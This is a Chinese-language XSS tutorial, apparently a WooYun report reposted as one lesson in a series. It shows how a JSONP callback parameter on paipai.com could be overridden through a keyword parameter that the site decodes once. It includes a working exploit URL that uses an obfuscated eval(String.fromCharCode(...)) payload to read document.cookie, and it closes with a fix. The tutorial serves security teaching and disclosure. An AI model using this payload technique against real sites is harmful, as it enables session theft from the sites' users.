# 12\. Dom Xss 進階 [路徑 con]
> 來源:[12\. Dom Xss 進階 \[路徑 con\]](http://www.wooyun.org/bugs/wooyun-2010-016279)
## 簡要描述
我不是蘿莉 con,我是路徑 con。
一些程序員會動態的加載 json 數據,同域的時候,可以使用 ajax;而有時候,數據所在域和當前頁面所在域又不一致。所以需要跨域 請求。跨域請求數據的手段中,有一種叫做 jsonp。
用代碼表示的話,就是 `somescript.src="http://otherdomain.com/xx?jsonp=callback"`
某些時候,程序員會在調用外部數據的時候帶上可控的參數。 `somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;` 如果這個 id 我們可控,將可能帶來 XSS 問題。
## 詳細說明
本次教程,就不像前面的一樣,去細說操作過程了,前面的幾次教程也基本將常用操作全部介紹到了。直接來看例子。
1\. 在掃描過程中,經常遇到下面的例子。

2\. 初看看,這種情況,似乎沒有什么利用價值。
3\. 但是我們不難想象,如果這個地址是我們可控的話,一樣會帶來威脅。
地址的可控可以分為 3 個層面。
3.1 `script src="完全可控"` ,這種就簡單了,直接將地址換為我們的 JS 地址
3.2 `script src="/path/xxx/[路徑可控]/1.js"` 這種要利用的話,需要同域名下有可控的文件。可控文件又分為 2 種。
3.2.1 可以直接上傳文本至同域名下,不一定要是 HTML 文件,需要上傳點有過濾缺陷。
3.2.2 參數可控,利用可用的 json 接口。
最終變為 `script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"`
3.3 `script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[參數可控]"`
這種情況,和 3.2.2 類似,如果參數可控,且 json 的參數沒有很好的過濾時。我們就有機可乘了。
4\. 本文以拍拍網一處 XSS 為例,來描述以上可能性。
掃描器掃到的點,見步驟 1 中的圖。進一步,我們可以通過抓包的方式,看到頁面在打開時,所加載的外部 JS 文件地址。
```
http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1°ree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681
```
我們打開這個 JSON,用掃描反射型的方式,可以測試出,callback, dtag 以及 ranking 可控。但均無法使用`<`, `>`,也就是說,這個 JSON 接口本身是無 XSS 風險的。 此外 dtag, 和 ranking 都在雙引號里面,我們在后續無法進行利用,而 callback 則在最前面,比較好控制。 我們可以想象下,如果我們可以讓這個頁面調用:
```
http://sse1.paipai.com/comm_json?callback=alert(1);
```
那么將會產生 XSS。
那么怎么讓頁面調用上面的情況呢?
4.1 直接控制 callback 參數,但是從實際情況來看,我們此處無法直接控制它,【失敗】
4.2 將后面的參數, `param=xxx` 修改為 `param=xxx&callback=alert(1)` ,從而覆蓋前面的 callback
5\. 上面說到的第 2 種方案,似乎可行。但是實際上還是有問題的。
譬如我們頁面上的 type 參數,對應著 json 的 sclassid 參數。 我們訪問以下地址:
```
http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
```
其實很明顯上面這樣是不行的。。因為 `&` 本身就是參數分隔符。這樣寫 type 就為空了 可能很快就有人想到另外一個寫法:`&` 寫為 `%26`
```
http://bag.paipai.com/search_list.shtml?type=%26callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
```
很好,但是實際上,你會發現,訪問的 json 接口的參數也還是原封不動的 `%26`,而不是所希望的 `&`

6\. 為了看看參數是怎么從頁面,傳遞到了 comm_json 這個接口上的。我們定位到以下代碼。
```
http://static.paipaiimg.com/js/search.js?t=20121108
```
```
function init() {
var keyword = decodeURIComp($getQuery('keyword')), type = $getQuery('type'),
searchtype = $getQuery('searchtype');
option.keyword = keyword; option.classId = type;
option.searchType = searchtype || option.searchType;
option.beginPrice = $getQuery('bp');
option.endPrice = $getQuery('ep');
option.NewProp = $getQuery('np') || $getQuery('newprop');
option.property = $getQuery('pro') || option.property;
option.cid = $getQuery('cid');
option.Paytype = $getQuery('pt') || option.Paytype;
option.hongbaoKeyword = $getQuery('hb');
option.conditionStatus = $getQuery('cs') || option.conditionStatus;
option.showType = $getQuery('show') || option.showType;
option.mode = $getQuery('mode') || option.mode;
option.address = decodeURIComp($getQuery('adr'));
option.orderStyle = $getQuery('os') || option.orderStyle || 80;
option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;
option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');
var pageIndex = $getQuery('pi'),
pageSize = $getQuery('ps');
option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;
option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;
};
```
在這個文件里,我們很容易的看出,當前頁面參數和 json 參數的對應關系 `option.JSON 參數=$getQuery("頁面參數")`
7\. 一個函數讓我眼前一亮啊,`decodeURIComp`。。也就是說,傳入的 keyword,會解碼一次。
也就是說,如果我們 `keyword=%26callback=alert(1);` decodeURIComp 就會變為 `&callback=alert(1);` 為了證明我們的想法:我們直接寫利用代碼。注意 `keyword=`那一部分
```
http://bag.paipai.com/search_list.shtml?type=213280&np=11&pro=256&searchtype=2&cs=0010000&keyword=%26callback=eval(St ring.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));void&PTAG=20058.13.13
```
8\. 看效果:彈了吧

抓包可以看到,被動態加載的 keyword 參數,我們在后面插入了一個 callback,覆蓋了前面的 callback

同樣,看到返回的 comm_json 的內容

## 修復方案
1\. 也可對 jsonp 接口的 callback 參數進行更加嚴格的字符控制,一般的 callback,只需要允許,字母,數字+下劃線即可。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]